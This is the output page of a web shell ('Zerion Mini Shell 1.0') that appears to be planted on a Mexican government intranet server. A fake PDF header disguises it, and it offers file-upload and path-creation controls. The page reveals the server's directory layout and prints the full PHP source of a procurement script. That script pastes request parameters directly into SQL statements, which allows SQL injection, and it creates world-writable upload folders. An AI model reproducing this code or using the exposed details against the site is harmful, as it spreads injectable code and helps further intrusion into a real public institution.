%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/compras/controller/
Upload File :
Create Path :
Current File : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/compras/controller/agregar_papeleria.php

<?php
session_start();

    $_SESSION['expire'] = time() + (120 * 60);
    include "../../../config/config.php";
    
    $id_usuario=$_SESSION['usuario_id'];

    $codigo        =   isset($_REQUEST['codigo']) ? $_REQUEST['codigo'] : NULL;
    $articulo       =   isset($_REQUEST['articulo']) ? $_REQUEST['articulo'] : NULL;
    $descripcion    =   isset($_REQUEST['descripcion']) ? $_REQUEST['descripcion'] : NULL;
    $id_giro        =   isset($_REQUEST['id_giro']) ? $_REQUEST['id_giro'] : NULL;  
    $precio         =   isset($_REQUEST['precio']) ? $_REQUEST['precio'] : 0;   
    $existencia     =   isset($_REQUEST['existencia']) ? $_REQUEST['existencia'] : 0;
    $presentacion   =   isset($_REQUEST['presentacion']) ? $_REQUEST['presentacion'] : 0;

    $conf = new Configuracion();
    $conf->conectarBD();

    $insertar = "INSERT INTO compras_papeleria 
                            (codigo, articulo, descripcion, id_giro, unidad,revisado) 
                        VALUES ('$codigo', '$articulo', '$descripcion', $id_giro, '$presentacion',1);";
    $id_articulo = $conf->ultimo_id($insertar);


    adjuntar_archivo($id_articulo,"url_foto",$conf);


    $conf->desconectarDB();
    


    header("Location: ../page_papeleria.php?app=1");


        
  function adjuntar_archivo($id_articulo,$tipo_imagen,$conf)
    {
        if(empty($_FILES[$tipo_imagen]["name"]))
          return;

        $file_name=$_FILES[$tipo_imagen]["name"];
        $extension = pathinfo($_FILES[$tipo_imagen]['name'], PATHINFO_EXTENSION);
        $ext_formatos = array('pdf','jpg','png','gif','jpeg');


        if(!in_array(strtolower($extension), $ext_formatos))
            return;
        if ($_FILES[$tipo_imagen]["size"] > 33000300800)
            return;  
        $dia  = date("d");
        $mes  = date("m");
        $anio = date("Y");
        
        $targetDir = "../docs/$anio/$mes/$dia/";
           

        @rmdir($targetDir);

        // Create target dir
        if (!file_exists($targetDir)) {
            @mkdir($targetDir,0777, true);
        }

       $token = md5(uniqid(rand(), true));
        $file_name = $token.'.'.$extension;

        $add = $targetDir.$file_name; 
        $db_url_img = "$anio/$mes/$dia/$file_name";

        if(move_uploaded_file ($_FILES[$tipo_imagen]["tmp_name"], $add))
        {
            $insertar = "UPDATE compras_papeleria SET $tipo_imagen = '$db_url_img' WHERE id_articulo = $id_articulo";
            $conf->actualizacion($insertar);
        }
    }
        
?>

Zerion Mini Shell 1.0